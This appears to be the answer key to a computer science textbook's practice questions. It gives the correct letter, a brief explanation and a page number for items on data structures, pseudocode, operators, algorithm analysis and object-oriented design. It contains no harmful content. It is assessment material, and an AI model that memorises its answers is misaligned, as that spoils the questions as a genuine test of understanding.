0002.h.9.3 B. A queue removes items in the order in which they were added. Ticket 41 is served first, then 42 and 43, leaving 44 and 45, with 44 at the front. Question: page 483

0002.h.9.4 B. Orders join at the end of `orders`, so the earliest waiting order is at index `0`. Displaying and then deleting that value serves them first-in, first-out: taco, wrap, bowl, salad. Question: page 484

0002.h.9.5 B. The original server is a queue, which is first-in, first-out. Changing to last-in, first-out serves the newest document first, so an early document can wait as long as newer documents keep arriving. Question: page 485

0002.h.10.1 B. Following the links from node `0` gives Volcano, Mosaic, Lanterns, Harbor. The new node takes Mosaic's old link, `2`, and Mosaic then links to node `4`, so Ember plays between Mosaic and Lanterns. Question: page 485

0002.h.10.2 B. After the removal, `A` must point forward to `C`, and `C` must point back to `A`. Line 05 repairs the backward pointer, so the missing step repairs the forward pointer of `A`. Question: page 486

0002.h.10.3 A. After `P.next = N`, the value of `P.next` is `N`, so `N.next = P.next` makes `N` point to itself. The old successor of `P` was never saved, so the rest of the list is unreachable. Running the two statements in the reverse order inserts `N` correctly. Question: page 487

0002.h.10.4 A. Inserting into a linked list relinks pointers once the insertion point is reached, so no values move. An array must shift later values, but it can reach a position directly, which a linked list cannot. Question: page 487

0002.h.10.5 D. Traversal follows each node's pointer until the end marker: Gate, Garden, Atrium, Studio, Lab. That gives `5` stops and `60` minutes. Moving to `k + 1` walks the storage order and eventually reads past the end of the arrays. Question: page 488

0002.h.11.1 D. Each object holds its own `on_shelf`. The atlas goes from `3` to `2` and back to `3`, and the novel is checked out three times, from `5` to `2`. Question: page 488

0002.h.11.2 C. Assigning an object to another variable commonly shares one object, so changing `backup.score` changes `first.score`. Assigning an `int` copies the value, so `saved` changes independently, from `40` to `45`. Question: page 489

0002.h.11.3 C. Dot notation places the object before the method, so `hero.move(2, 0)` changes the `x` of `hero` alone. Calling the method on `Sprite` does not say which of the two sprites should move. Question: page 490

0002.h.11.4 A. A class defines the attributes and methods of a type, and each object created from it is an instance with its own attribute values. Changing `bio.room` therefore does not change `chem.room`. Question: page 490

0002.h.11.5 A. Each call to `area()` uses the attributes of its own object: `6 + 4 + 9` is `19`. Changing the width of `wall[1]` to `5` makes its area `5 * 1`, or `5`, while the stored total is unchanged. Question: page 491

0002.h.12.1 D. A variable declared inside a function has a scope limited to that function. `tickets` cannot be used in the main program; `trip_total` would have to return it, or the main program would have to calculate it. Question: page 492

0002.h.12.2 B. The `score` declared inside the function is a separate local variable that hides the outer one without changing it. The function returns `45`, the outer `score` is still `100`, and adding gives `145`. Question: page 493

0002.h.12.3 B. Each `group` exists only inside its branch, so the name is not valid at the final statement. Declaring it before the `if` gives it a scope that includes the output, and each branch then assigns a new value to that one variable. Question: page 494

0002.h.12.4 C. A local variable is created again each time a function is called, so the count must live in the caller. The caller declares `card` once, passes it in, and stores the returned value, which gives `1001`, `1002`, and `1003`. Question: page 494

0002.h.12.5 B. `score` is a parameter, local to the function, so changes to it do not reach `essay` or `lab`, and the essay's returned value is discarded. For the lab, `12 - 15` is −3, which the `if` raises to `0` before it is returned. Question: page 495

0002.h.13.1 D. First-come, first-served processing, with removal at the front and additions at the back, is the behavior of a queue. Question: page 496

0002.h.13.2 C. The program's need is lookup by a key, the ID, which is what a map provides: `lockers{"S350"}` gives `341` with no loop and no pair of arrays to keep in step. Question: page 497

0002.h.13.3 A. The most recently recorded junction is needed first, which is last-in, first-out, the behavior of a stack. Question: page 497

0002.h.13.4 B. The reports need ordered access by position, so an array indexed by day number is the natural choice. A queue or a stack would allow only one end to be reached. Question: page 498

0002.h.13.5 B. The jobs need first-in, first-out processing, which a queue provides. The balances need lookup by a key, the ID, which a map provides. Question: page 498

0002.h.14.1 B. The subtotal, tax, and total can each be calculated from the quantity, the unit price, and the tax rate. Storing them separately risks inconsistency, such as a total that is not updated when the quantity changes. Question: page 499

0002.h.14.2 C. The number of songs can always be derived from `songs`, so storing it separately lets the two disagree. A method that returns `songs.size[1]` cannot fall out of step, whatever methods are added later. Question: page 499

0002.h.14.3 C. `mean` received the value `80` once, from the four original scores, and nothing recalculates it. A function that calculates the mean from `scores` when it is needed would report the current value, `83`. Question: page 500

0002.h.14.4 C. Derived data are generally calculated rather than stored, but a value that is expensive to compute, read very often, and reliably updated whenever its source changes can justify a stored copy. This is a trade of space for time. Question: page 501

0002.h.14.5 B. The grade level can be derived from the graduation year and the current school year, so a stored copy goes stale every year. Calculating it when needed keeps it correct without a yearly update. Question: page 501

0002.i Representing algorithms

0002.i.1.1 C. Each condition is a decision, drawn as a diamond whose two arrows are labeled, for example Yes and No. Each assignment is a process, drawn as a rectangle. The fines are 0, 5, 10, 10, and 5 dollars, so the program reports 4 late books and 30 dollars. Question: page 502

0002.i.1.2 A. A diamond marks a decision with labeled branches, and a rectangle marks a process with a single path onward. Drawing the decision as a rectangle hides the choice from a reader who relies on the shapes. Question: page 503

0002.i.1.3 D. A decision has an arrow for each outcome, and each arrow should be labeled so that the reader knows which outcome it follows. Without labels, the chart does not say whether a high

temperature turns the fan on or off. Question: page 503

0002.i.1.4 C. Adding a price to the total is a process, drawn as a rectangle with one arrow onward. The loop's test, `price != 0`, is the diamond. For the prices 4 and 3, the program displays `7`. Question: page 504

0002.i.1.5 D. A diamond marks a decision, a question whose answer chooses between labeled paths. Calculating, showing, and raising are processes, each drawn as a rectangle. Question: page 504

0002.i.2.1 A. The arrow from shape 5 back to the diamond forms a loop whose test comes first, which is a `while` loop. The display follows the No branch, so it comes after the loop. Question: page 505

0002.i.2.2 A. The decision comes after the steps it repeats, so those steps run at least once. With an empty file, the first pass reads and scores a line that is not there, before the decision is ever reached. Question: page 506

0002.i.2.3 A. The return arrow goes back to the step that sets the count to 0, so the count never reaches 10. A loop must return to its decision after the count is updated. Question: page 506

0002.i.2.4 B. In the flowchart the decision follows the steps it repeats, so `25` is displayed before the test ends the loop. The `while` loop tests first, so for `25` the pseudocode displays only `"done"`. Question: page 507

0002.i.2.5 A. Each pass reads a password and adds 1 to `tries`. After a wrong first or second try, `tries` is 1 or 2 and the flow returns; after a wrong third try it is 3 and the account is locked. A correct password leaves the loop at once. Question: page 508

0002.i.3.1 D. Pseudocode describes an algorithm in a structured, language-independent form, so readers who use different languages can follow and check it. Question: page 508

0002.i.3.2 A. The sheet's `for` header states the start, the test, and the update in full. The values 1, 4, and 7 give the squares 1, 16, and 49 and the sum 12. The header `i = 3` would set `i` to 3 on every pass, so the loop would never end. Question: page 509

0002.i.3.3 A. On the reference sheet, indentation alone marks a block, so only the two indented lines belong to the `if`, and `/* */` marks a comment. With a score of 82 the condition is false, and the program displays the group and then `Done`. Question: page 509

0002.i.3.4 D. The sheet uses `/* */` for comments, loops through positions with a full `for` header, writes a string's length as `.len`, and marks blocks only by indentation. An indented `output` would display the count each time a long word is found. Question: page 510

0002.i.3.5 D. Pseudocode describes an algorithm in a structured, language-independent form. It can be traced and discussed before code is written, and then translated into any language. Question: page 511

0002.i.4.1 B. Only "move 50 steps" sits inside the first repeat, so the sprite draws one line of four moves and then turns once. Both blocks inside the second repeat run three times, tracing a triangle.

Question: page 511

0002.i.4.2 B. Indentation in the pseudocode corresponds to nesting in the blocks. The "ask" and "if" blocks both sit inside "repeat 3", the change sits inside the "if", and "say" comes after the loop. Question: page 512

0002.i.4.3 A. A block's position inside another shows what it controls. With the turn inside the repeat block, each pass moves and then turns, four times over. Question: page 513

0002.i.4.4 A. The tap is nested in both loops, so it plays $4 \times 3 = 12$ times. The clap is nested in the outer loop only, so it plays 4 times, and the bow is outside both loops. Question: page 513

0002.i.4.5 B. Nesting in blocks corresponds to indentation in text. Every statement indented beneath the header belongs to the loop, as every block inside the C shape does. Question: page 514

0002.i.5.1 A. On the sheet, a condition is enclosed in parentheses with no colon, a further condition uses `elseif`, and indentation marks each block. Two separate `if` statements are not equivalent, since the `else` would then belong to the second one alone. Question: page 514

0002.i.5.2 A. A `for` loop runs its first part once, tests its condition before each pass, and runs its update after each pass. The `while` version therefore declares `t` before the loop and updates it at the end of the body, displaying 10, 7, 4, 1, and then `"Go"`. Question: page 515

0002.i.5.3 C. `day` takes the values 4, 8, 12, 16, and 20, since `<=` includes 20 and the update runs after each pass. These add to 60. Question: page 516

0002.i.5.4 C. Only the branch of the first true condition runs, and every score of 60 or more meets the first condition, so every grade is `"D"`. Testing the highest threshold first would give the expected grades. Question: page 517

0002.i.5.5 B. The first part runs once, the test `i < 10` is checked before every pass, and the update runs after every pass. The body therefore runs with `i` from 1 through 9. Question: page 518

0002.i.6.1 C. The arrow back to shape 3 makes the first diamond a `while` test. The second diamond is a choice with no arrow back to it, so it is an `if`, and both of its outcomes lead on to "Add 1 to i". Question: page 518

0002.i.6.2 A. Each `while` and `if` condition becomes a diamond, and `elseif` adds one more. The `else` branch is the No arrow of the second condition. The program calls one home and sends two letters. Question: page 519

0002.i.6.3 B. Translating matches each sequence, decision, and loop to the corresponding structure, so it preserves the algorithm, including its mistakes. Dividing by 4 instead of 5 is an error in the flowchart itself. Question: page 520

0002.i.6.4 A. The display of "Move on" is indented one level, the same as the `if`, so it belongs to the outer loop and runs once for every bed. Nesting in blocks corresponds to indentation in text. Question: page 520

0002.i.6.5 A. Every path through the loop's body returns to the loop's test, so both arrows lead back to the edge decision. The loop is left only through that decision's Yes arrow. Question: page 521

0002.j Expressions and operators

0002.j.1.1 D. Division comes before subtraction, so the original line divides only the fee. Grouping the subtraction gives `780 / 4`, which is `195`. Parentheses around `printing_fee / clubs` only restate the original order. Question: page 522

0002.j.1.2 B. The exponent comes first, then multiplication and division, then addition and subtraction: `2 ^ 4` is `16`, `3 * 16` is `48`, `6 / 3` is `2`, and `6 + 48 - 2` is `52`. Question: page 523

0002.j.1.3 A. The sheet lists `+` for `int` and `float` only, so adding a `String` to an `int` on line 09 is undefined and gives `ERROR`. The division on line 04 is valid and gives the `int` value `5`, and the arithmetic on line 07 gives `65`. Question: page 523

0002.j.1.4 B. On the reference sheet, `^` is exponentiation. The weights are `8`, `4`, `2`, and `1`, so the bits contribute `8 + 0 + 2 + 1`, which is `11`. Question: page 524

0002.j.1.5 D. Multiplication and division run from left to right, and addition follows, so `10 * 9 / 5 + 32` is `50`. Grouping `9 / 5` first gives a rounded `2`, which produces `52` for the first reading. Question: page 524

0002.j.2.1 B. On the reference sheet, `/` on an `int` pair returns a rounded `int`. Since `47 / 6` is about `7.83`, `each` is `8`, which is why `48` markers appear to be handed out, one more than exist. Question: page 525

0002.j.2.2 D. `11 / 4` is `2.75`, which rounds to the `int` value `3`, and `3 * 4` is `12`. Question: page 526

0002.j.2.3 A. Each `int` division rounds, so dividing first loses the fractional part of the average. Multiplying first gives `25100 / 3`, which rounds to `8367`. The other grouping rounds `100 / 3` to `33`, giving `8283`. Question: page 526

0002.j.2.4 A. `18 / 20` and `14 / 20` round to `1`, whereas `9 / 20` rounds to `0`, and only then is `100` applied. Multiplying first, as in `correct * 100 / total`, gives the expected percentages. Question: page 527

0002.j.2.5 C. `170 / 60` is about `2.83`, which rounds to `3`. Removing the remainder first gives an exact multiple of `60`, so `(170 - 50) / 60` is exactly `2`, and no rounding occurs. Question: page 528

0002.j.3.1 B. The remainder after dividing by `count` always lies between `0` and `count - 1`, so the index returns to `0` after the last name. The sum must be grouped, since a remainder applied only to `w` can still push the index past the end. Question: page 528

0002.j.3.2 D. Dividing by `10` leaves the rightmost digit as the remainder, so `d` takes the values `0`, `7`, `4`, and `3`, which add up to `14`. Question: page 529

0002.j.3.3 B. A number is even exactly when dividing it by `2` leaves a remainder of `0`. A value divided by itself always leaves `0`, and `2 % n` is `2` for each ticket in this list. Question: page 530

0002.j.3.4 B. When the left value is smaller than the right value, as in `5 % 12`, the remainder is the left value. The other values leave remainders of `0`, `5`, and `0`. Question: page 530

0002.j.3.5 B. Positions `1`, `4`, and `7` each leave a remainder of `1` when divided by `3`, so the program selects `"Ben"`, `"Eli"`, and `"Hal"`. Question: page 531

0002.j.4.1 C. `<`, `>`, `<=`, and `>=` compare matched `int` or `float` pairs only. Declaring `limit` as an `int` with the value `18` would allow the comparison. Question: page 532

0002.j.4.2 C. The operator `>=` is true when the left value is greater than or equal to the right value, so it includes the boundary of `170`. The symbol `=>` is not an operator, and `required - 2` would also admit a student with `169` days. Question: page 532

0002.j.4.3 D. `7 >= 12` is `FALSE`, and `12 != 7` is `TRUE`. Comparing `FALSE` with `TRUE` by using `==` gives `FALSE`, because relational operators evaluate to `bool`. Question: page 533

0002.j.4.4 B. `3 >= 3` is true, so the second array is rejected. Using `>` rejects only a pair in which the earlier value is strictly larger, which permits repeats. Question: page 534

0002.j.4.5 A. A `while` loop continues as long as its condition is true, so it must run while the guess differs from the secret. The operator `<` is not defined for `String` values on the reference sheet, and `=` assigns rather than compares. Question: page 534

0002.j.5.1 D. On the reference sheet, parentheses come first and operators run from left to right. `TRUE OR FALSE` is `TRUE`, `NOT(TRUE)` is `FALSE`, and `TRUE AND FALSE` is `FALSE`. Question: page 535

0002.j.5.2 C. `NOT(d OR v)` is true only when both values are false, which is what `NOT(d) AND NOT(v)` also says. The other options are true in additional cases, or in a different case. Question: page 536

0002.j.5.3 B. `AND` is true only when all conditions are true, so it requires both a large order and a sponsor. The policy accepts either requirement, which `OR` expresses. Question: page 536

0002.j.5.4 A. Parentheses come first, then operators run from left to right. Line 01 becomes `TRUE OR FALSE`, which is `TRUE`, then `TRUE AND FALSE`, which is `FALSE`. Line 02 becomes `FALSE OR TRUE`, which is `TRUE`. Question: page 537

0002.j.5.5 D. With left-to-right evaluation, the original statement admits every visitor with an adult. The inner parentheses make `OR` apply only to the age and adult conditions, and the height requirement then applies to everyone. The result is `TRUE`, `TRUE`, `FALSE`, `FALSE`, `TRUE`, and `3`. Question: page 537

0002.j.6.1 A. `=` assigns a value, and `==` tests whether two values are equal. A condition needs a `bool` value, so the line should read `if (status == "open")`. Question: page 538

0002.j.6.2 B. `==` tests equality and changes nothing, so `seconds` stays `5` and the loop never ends. The assignment `seconds = seconds - 1` computes the right side and stores the result. Question: page 539

0002.j.6.3 C. = assigns the current value, so `b` receives `4` and is not linked to `a`. Then `a` becomes `7`, and `b` becomes `4 * 7`, which is `28`. Question: page 539

0002.j.6.4 A. == evaluates to `bool`, and = stores that result in `right`. The answers match at indexes `0` and `2`, so the drill displays `TRUE`, `FALSE`, `TRUE`, and `2`. Question: page 540

0002.j.6.5 B. Only = stores a value in a variable, and the variable must be on the left. `found == TRUE` evaluates a comparison and discards the result, leaving `found` as `FALSE`. Question: page 541

0002.j.7.1 D. A value below `1` is still at most `9`, and a value above `9` is still at least `1`, so `OR` is true for all values. `AND` would accept only values in the range. Question: page 541

0002.j.7.2 D. A range needs both limits to hold, which is what `AND` requires, and `>=` includes `13` whereas `<` excludes `18`. Chained comparisons do not exist on the reference sheet. Question: page 542

0002.j.7.3 A. No reading can be both below `30` and above `60`, so `AND` is never true. A reading outside a band fails one limit or the other, which `OR` expresses, and the limits themselves remain safe. Question: page 543

0002.j.7.4 B. Chained comparisons do not exist on the reference sheet. The test must be written as `(970 <= reading) AND (reading <= 990)`. Question: page 543

0002.j.7.5 A. The first range requires a score above `90`, and the second requires a score below `90`, so a score of exactly `90` falls into neither. The first range should begin with `s >= 90`. Question: page 544

0002.k Analyzing algorithms

0002.k.1.1 D. The loop halves the number of remaining teams, rounding up, so it runs about $\log_2$ n times: 6 times for 64 teams and 7 times for 100. The function never examines individual teams, so its work grows only with the number of halvings. Question: page 545

0002.k.1.2 C. `ties_a` compares every pair of scores, about n(n-1)/2 comparisons, so 100 times as many scores means about 10,000 times as much work: $O(n^2)$. `ties_b` makes one pass through the scores, plus two passes through 101 tallies that do not depend on n, so it is O(n). Question: page 546

0002.k.1.3 A. Under O(n), each doubling of the records would roughly double the time, from 10 to 20 microseconds and beyond. Here each doubling adds about one microsecond, which matches a cost proportional to $\log_2$ n, as in binary search. Question: page 547

0002.k.1.4 D. $2n^2$ is smaller than 400n whenever n is below 200, so P wins at 150 courses (45,000 steps against 60,000). At 10,000 courses, P takes 200,000,000 steps and Q takes 4,000,000, one-fiftieth as many. Big-O describes growth at large sizes, and constant factors can decide small cases. Question: page 547

0002.k.1.5 C. The outer loop runs once for each power of 2 below n, about $\log_2$ n times: 4 times for 16 and 10 times for 1,024. The inner loop runs n times on each pass, so the count is n $\log_2$ n, which is 10 × 1,024. Question: page 547

0002.k.2.1 B. The passes make 5, 4, 3, 2, and 1 comparisons, for n(n-1)/2 = 15, whatever the order of the input. No value needs to move, so no swaps occur. Sorted input saves swaps, but not comparisons. Question: page 548

0002.k.2.2 D. Each candidate must be compared with the smallest value found so far, `a[m]`. Comparing with `a[i]` leaves `m` at the last value smaller than the first unsorted value, which need not be the smallest. Question: page 549

0002.k.2.3 C. Each pass of selection sort places only the smallest remaining value. In the second pass `18` was already in place, but `27` was still at the end. In bubble sort, a pass with no swaps has compared every adjacent pair, so it does show that the array is sorted. Question: page 549

0002.k.2.4 B. The function swaps once per pass without checking whether `m` equals `i`, so it writes exactly 2(n − 1) times: 1,998 for 1,000 readings. This small, fixed number of writes is why selection sort suits memory that wears out, although its comparisons still grow as n^2. Question: page 550

0002.k.2.5 A. Each round compares the smallest card so far with each other unsorted card: 7 + 6 + … + 1 = n(n-1)/2 = 28. Selection sort does not check whether the cards are already in order, so the count is the same for both classes. Question: page 551

0002.k.3.1 C. Each pass compares neighbors and swaps every pair that is out of order. On reversed input every comparison swaps: 4 + 3 + 2 + 1 = 10. Bubble sort moves values one position at a time, so it makes many more swaps than selection sort. Question: page 551

0002.k.3.2 B. Each comparison reads `a[i + 1]`, so `i` must stop one position before the last unsorted value. Each pass carries the largest remaining value to the end, so the range can also shrink by one each pass. Skipping the front of the array or every other pair leaves values out of order. Question: page 552

0002.k.3.3 C. A front-to-back pass carries a large value all the way to the end, so list A is fixed in one pass and confirmed in a second. A small value near the end moves only one position toward the front per pass, so list B needs about 999 passes. Bubble sort's early stop helps only when values are close to their places. Question: page 552

0002.k.3.4 A. In the second pass, `3` and `7` stay, and then `7` is swapped past `1`, `6`, and `4` until it meets `9`. The pass leaves `7` in its final place, next to `9`, while the smaller values have each moved at most one position left. Question: page 553

0002.k.3.5 A. The early stop gives n − 1 comparisons only when one pass finds nothing to swap. In random data, small values near the end move left one position per pass, so many passes are needed and the comparisons grow as n^2, as the reversed list's 15 = 6 × 5 / 2 suggests. Question: page 553

0002.k.4.1 A. Larger values in the sorted section must shift right until a value no larger than `v` is found, or the front is passed. The loop must test position 0 and must repeat, since a new value may

belong several places to the left. Question: page 554

0002.k.4.2 D. On nearly sorted data, insertion sort compares most records once and shifts only the few that are out of place, for close to O(n) work, and it needs no second array. Merge sort needs extra memory, selection sort always makes about 2,000,000 comparisons, and quicksort degrades on nearly sorted input with this pivot. Question: page 555

0002.k.4.3 C. The next value, `1`, is smaller than every value in the sorted section `[3,5,8]`, so those three values shift right and `1` is placed at the front. The values `9` and `2` are not yet part of the sorted section. Question: page 555

0002.k.4.4 B. Inserting one value into a sorted array is a single step of insertion sort: at most n shifts, O(n). Sorting the whole array again with selection sort makes n(n-1)/2 comparisons, about 450,000,000 for 30,000 readings, every second. Question: page 556

0002.k.4.5 B. Each of the 7 values after the first adds one check. In the nearly sorted array only `4` shifts past `5`, for 8 in all. In the reversed array the values shift 1, 2, … 7 places, adding 28 shifts, for 35 in all: close to n on nearly sorted data, but about $n^2/2$ on reversed data. Question: page 557

0002.k.5.1 A. Merging repeatedly compares the current front of each half, `a[i]` and `b[j]`, and takes the smaller. Taking values in turn, comparing the original fronts, or sharing one position does not keep the result in order. Question: page 558

0002.k.5.2 C. Merge sort is O(n log n) in every case, and merging sorted runs works well on data read from disk in pieces. Quicksort's worst case is unbalanced partitions, not random data, and the quadratic sorts are far too slow for this volume. Question: page 558

0002.k.5.3 C. Merge sort's O(n log n) time comes at the cost of additional memory: `merge` copies values into a new array, and the top-level merge holds all n of them while the halves still exist. The recursion is only about $\log_2$ n levels deep. Question: page 559

0002.k.5.4 C. Halving 64 cards reaches single cards after $\log_2 64 = 6$ levels. Every card takes part in exactly one merge at each level, so each level handles all 64 cards. This is why merge sort is O(n log n). Question: page 560

0002.k.5.5 C. After the first round each pair is sorted, after the second each group of four is sorted, and the third merges the two groups of four. Merge sort guarantees O(n log n) time, and its need for additional memory does not matter on this server. Question: page 560

0002.k.6.1 C. Both algorithms average O(n log n), so the difference lies in the constants hidden by Big-O. Partitioning in place avoids copying values into new arrays and reads memory in order, which the cache rewards. The worst case is rare with a sensible choice of pivot. Question: page 561

0002.k.6.2 A. Values smaller than `5` are swapped to the front in turn: `2`, `4`, and `1`. Then the pivot is swapped into position 3, leaving `9` and `7` after it in the order the swaps produced. The parts on each side still need sorting. Question: page 561

0002.k.6.3 B. With the first value as the pivot, an ordered range of size n produces parts of size 0 and n − 1, so the comparisons are 7 + 6 + … + 1 = 28, which grows as n^2. Shuffled values split more evenly, which gives the average O(n log n). Question: page 562

0002.k.6.4 A. In an ordered range, the last value is the largest, so every partition leaves one empty part and the sort becomes $O(n^2)$. The median of three values from an ordered range is close to the range's middle, which restores balanced partitions. Question: page 563

0002.k.6.5 B. Quicksort sorts in place, so it fits in the gateway's memory, and random data rarely produces the unbalanced partitions of its worst case. Merge sort needs room for a second copy, and the quadratic sorts are far too slow for 2,000,000 values. Question: page 563

0002.k.7.1 D. Each comparison must remove the middle position from the range. With `high = mid`, a range of one value whose value is too large never shrinks, so the loop never ends. Question: page 564

0002.k.7.2 C. Each comparison in binary search halves the remaining range, and 2^{20} is about 1,000,000, so about 20 comparisons reduce the range to a single value. Question: page 565

0002.k.7.3 A. Binary search assumes that every value left of the middle is smaller and every value right of it is larger. Here `33` is compared first, and the search moves right, discarding `47`. The codes must be sorted first, or searched linearly. Question: page 565

0002.k.7.4 C. Stopping early helps some searches, but in the worst case the loop still moves one position at a time through all n prices. Only discarding half of the range with each comparison, as binary search does, gives O(log n). Question: page 566

0002.k.7.5 C. One weekly search of 40 names costs at most 40 comparisons, less than sorting first. For the catalog, one O(n log n) sort each night is repaid by thousands of O(log n) lookups, about 21 comparisons each instead of up to 2,000,000. Question: page 566

0002.k.8.1 B. `ways_a` calls itself twice for each n, so the number of calls grows exponentially, and most calls recompute counts already found. `ways_b` keeps each count in an array, trading memory that grows with n for a single pass of additions. Question: page 567

0002.k.8.2 C. The table would need 1,000,001 entries, far beyond the calculator's memory, whereas 50 readings form only 50 × 49 / 2 = 1,225 pairs. Trading memory for time pays only when the memory is available and the data are large enough to matter. Question: page 567

0002.k.8.3 D. The table costs 50,001 stored values and one round of divisions at start-up. In exchange, each of the thousands of later checks is a single array lookup, a typical trade of memory for time. Question: page 568

0002.k.8.4 D. Version 2 spends memory on 366 running totals, built once per day, so that any range becomes a difference of two totals, O(1) per question. Version 1 needs no extra memory but takes O(n) time per question. Question: page 569

0002.k.8.5 C. 200,000 stops give about 40,000,000,000 pairs, a table far too large to store, of which only a tiny fraction would ever be used, and each calculation is fast. Trading memory for time pays only when stored results are reused and costly to compute. Question: page 569

0002.k.9.1 C. Driving first to marker 9 looks best, but it leaves marker 3 for a long trip back at the end. The nearest-stop rule is a heuristic: it runs quickly and usually gives a good route, but not always the best. Checking every order of 200 stops is infeasible, since there are 200! orders. Question: page 570

0002.k.9.2 D. The number of arrangements is n!, which grows faster than any power of n: 8! is 40,320, but 25! is about 1.6×10^{25}. A program for 25 students needs a heuristic, such as improving a reasonable arrangement step by step. Question: page 571

0002.k.9.3 B. The program prunes its search: it stops exploring lines that look unpromising, which makes a choice within the time limit possible. Pruning is a heuristic, so a line that looks bad early but wins later can be lost. No realistic speedup makes a full search of chess feasible. Question: page 571

0002.k.9.4 D. A heuristic trades a guarantee of the best answer for a result in reasonable time. Whether 3 percent is acceptable depends on the district's needs, and results on test cases suggest, but do not guarantee, future performance. Question: page 572

0002.k.9.5 B. The number of possible routes through 150 stops grows factorially, so no exact method can check them all. The other tasks are O(n log n), O(log n), and $O(n^2)$, all practical at these sizes. Question: page 572

0002.k.10.1 B. The function splits its range in half, solves each half with the same function, and combines the answers with one comparison. That is divide and conquer, the technique behind merge sort. Question: page 572

0002.k.10.2 C. This is a greedy technique: each step takes the choice that looks best now. Taking the 4-point token leaves 2 points, which only 1-point tokens can pay. Greedy algorithms are fast, but for some problems, such as these token values, they miss the best answer. Question: page 573

0002.k.10.3 B. The loops generate all 121 candidate pairs, and the condition tests each one, finding three: 0 and 10, 3 and 6, and 6 and 2. Generate and test is simple and complete when the candidates are few enough to check. Question: page 574

0002.k.10.4 A. Reading, grouping, ordering, and printing are different jobs, so this is decomposition. Divide and conquer, as in merge sort, splits one problem into smaller versions of itself and combines their answers. Question: page 574

0002.k.10.5 D. The greedy version makes one quick choice per coin, but it is guaranteed correct only for some coin systems, such as this one. Generate and test checks every combination, which is slow, but it finds the best answer for any coin values. Question: page 575

0002.k.11.1 D. Backpropagation works backward from the error, using the chain rule and values saved during the forward pass, to find each weight's contribution in a single pass. The weights are

then adjusted to reduce the error. Question: page 575

0002.k.11.2 D. A loss function compares actual outputs with desired outputs, here as a mean of squared differences. Training, through backpropagation, adjusts the weights to reduce it. Question: page 576

0002.k.11.3 D. Falling training loss with rising test loss means that the network is learning features specific to its training examples. Stopping training near round 20, or using more varied data, would generalize better. Question: page 576

0002.k.11.4 D. By the chain rule, the rate for a composition of functions is the product of the rates along the chain. Backpropagation applies this layer by layer, reusing the product already computed for later layers. Question: page 576

0002.k.11.5 A. Backpropagation breaks the problem of attributing error into one sub-problem per layer, each solved with results from the layer after it. This decomposition makes training deep networks practical. Question: page 577

0002.l Object-oriented concepts

0002.l.1.1 D. `order_total()` depends on how Menu stores its data. If Register goes through the public function `price_of()`, Menu can change its internal structure, and only `price_of()` has to change with it. Question: page 577

0002.l.1.2 D. A module with a clear interface can be developed and tested independently. A short array of known values can stand in for the input that Import will eventually supply. Question: page 578

0002.l.1.3 B. Modules should interact through public functions. Because Badges calls an internal helper, a change that is safe under the documented interface still breaks it. Question: page 579

0002.l.1.4 D. The two maps are separate copies of one fact, so they can disagree. Making one module the owner of the data leaves only one value to keep correct. Question: page 580

0002.l.1.5 A. Changes spread because the areas share data and have no boundaries. Dividing by responsibility, with data kept inside each module and small public interfaces, limits the effect of each change. Question: page 580

0002.l.2.1 C. `red` receives `3` and `1`, for a total of `4`, and `blue` receives `2`. Each object holds its own `points`. Question: page 581

0002.l.2.2 B. A value that applies to the whole class, such as a count of all students, may be shared. Each club's members belong in an attribute of the instance, set through `self`. Question: page 582

0002.l.2.3 C. A class is a template, so it is written once. Each instance holds its own values, so each locker's changes affect only that locker. Question: page 582

0002.l.2.4 A. `first` and `second` are separate instances, each with its own `available`. Calling `check_out()` on `first` leaves `second` unchanged. Question: page 583

0002.l.2.5 B. `rooms[0]` receives `10` and `30`, for a total of `40`. `rooms[1]` receives `20` and `40`, so its count is `2`. Question: page 583

0002.l.3.1 D. Line 18 assigns directly to the attribute, so the validation never runs. Restricting direct access means that changes go through the code that can check them. Question: page 584

0002.l.3.2 C. The methods keep their names, arguments, and results, so code that calls them still works. Only code that reaches past the methods to the array depends on the internal representation. Question: page 585

0002.l.3.3 C. Bundling data with the methods that change it means that the class itself can enforce its rules. A comment has no effect on execution. Question: page 586

0002.l.3.4 C. Restricting access is a design tool that controls how code in a program depends on data. It is not a form of encryption, and it does not protect data written out to a file. Question: page 587

0002.l.3.5 D. The check must come before the change, and it must compare the cost with the balance. Only then is the change made to the attribute through `self`. Question: page 587

0002.l.4.1 B. Inheritance places shared behavior in one location. A correction to `badge()` in the parent then reaches both subclasses. Question: page 588

0002.l.4.2 C. `StudentTicket` inherits `price()`, so it picks up the correction. `GroupTicket` provides its own `price()`, which is not affected. Question: page 589

0002.l.4.3 B. Inheritance runs from parent to subclass. A `Tablet` has `charge()` and `pair_stylus()`, whereas a `Device` has only `charge()`. Question: page 590

0002.l.4.4 A. The inherited `set_width()` changes only one side, so the object stops being square. A subclass should preserve its parent's expected behavior, and reusing code is not sufficient reason to inherit. Question: page 590

0002.l.4.5 B. Inheritance lets a subclass reuse its parent's attributes and methods and extend them, so only what is new needs to be written. Question: page 591

0002.l.5.1 B. With overriding, each class carries its own behavior, and a single call works for all of them. A new kind then requires a new class, not edits to existing chains. Question: page 592

0002.l.5.2 B. The areas are `4`, `8`, and `0`, for a total of `12`. The method that runs depends on each object's actual class. Question: page 593

0002.l.5.3 D. `Alert` inherits `show()`, and within it `self.title()` runs the version for the object's actual class. A `Notice` object therefore gets `"Notice"`, and an `Alert` object gets `"Alert"`. Question: page 594

0002.l.5.4 A. Each object responds to the same call in its own way. The call is the same, and no type check selects the behavior. Question: page 594

0002.l.5.5 B. To override a method, a subclass provides its own version with the same name. `payment()` is a new method, so `staff[1].pay()` runs the inherited version. Question: page 595

0002.l.6.1 D. The method that shares the class's name runs at creation, and it must store the argument in the object's attribute through `self`. Question: page 596

0002.l.6.2 A. Line 08 assigns `30` rather than `c`, so the constructor ignores its argument. With the correct initial state, `fits()` works as written. Question: page 597

0002.l.6.3 D. Attributes store an object's data, methods define its behavior, and a constructor sets the initial state at creation. Question: page 597

0002.l.6.4 A. A method can read the attributes of its own object without further arguments. `small` and `large` each hold the radius given to their constructor calls. Question: page 598

0002.l.6.5 C. A constructor runs when an object is created. Lines 12 and 13 create two objects, and the calls to `leave()` do not create any. Question: page 599

0002.m Iterative design

0002.m.1.1 B. Each cycle here produced a small working version, user reactions, and a revised plan, which is the pattern of iterative development. The riders' reaction changed the plan, so the stages were not locked, and the team kept refining a single app. Question: page 600

0002.m.1.2 B. Each cycle produces a working version that can be tested, and what is learned changes the plan for the next cycle. A full set of features, or a design with no code, would belong to approaches with different sequences. Question: page 600

